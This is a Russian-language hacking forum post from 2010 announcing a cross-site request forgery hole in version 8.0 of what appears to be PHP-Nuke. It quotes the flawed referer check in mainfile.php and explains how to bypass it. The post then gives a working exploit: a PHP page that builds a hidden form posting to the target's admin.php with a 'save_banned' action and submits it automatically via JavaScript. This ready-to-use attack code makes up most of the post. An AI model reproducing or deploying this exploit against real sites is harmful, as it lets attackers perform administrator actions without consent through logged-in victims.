Показать сообщение отдельно
Старый 31.12.2010, 05:17   #18
life_glider
 
Аватар для life_glider
 
Регистрация: 06.07.2010
Сообщений: 43
Репутация: 17
Smile CSRF(core 8.0)

Дырка в ядре(8.0)
требования:НЕТ
Подделка запросов.
код mainfile.php:
вроде есть какая-то "защита"
PHP код:
// Posting from other servers in not allowed
// Fix by Quake
// Bug found by PeNdEjO

if ($_SERVER['REQUEST_METHOD'] == "POST") {
    if (isset(
$_SERVER['HTTP_REFERER'])) {
        if (!
stripos_clone($_SERVER['HTTP_REFERER'], $_SERVER['HTTP_HOST'])) {
            die(
'Posting from another server not allowed!');
        }
      } else {
        die(
$posttags);
      }

НО
достаточно чтобы в реферере был HTTP_HOST(который можно задать например get параметром)
сплойт:
PHP код:
<html>
<body>
<?php 
$act
=array(ip1=>12,ip2=>12,ip3=>122,ip4=>122,reason=>"TEST TEST",op=>"save_banned");
$host=$_GET['cc'];
$src='http://'.$host.'/admin.php';
echo 
'<form action="'.$src.'" method="POST">';
foreach(
$act as $key => $value)
{
    echo 
'<input type="hidden" name="'.$key.'" value="'.$value.'">';
}
echo 
'</form>';

?>
</body>
</html>
<script>
document.forms[0].submit();
</script>
(c) life_glider at 31.12.2010. rdot.org
Happy New Year
__________________
Вы все такие классные
life_glider вне форума   Ответить с цитированием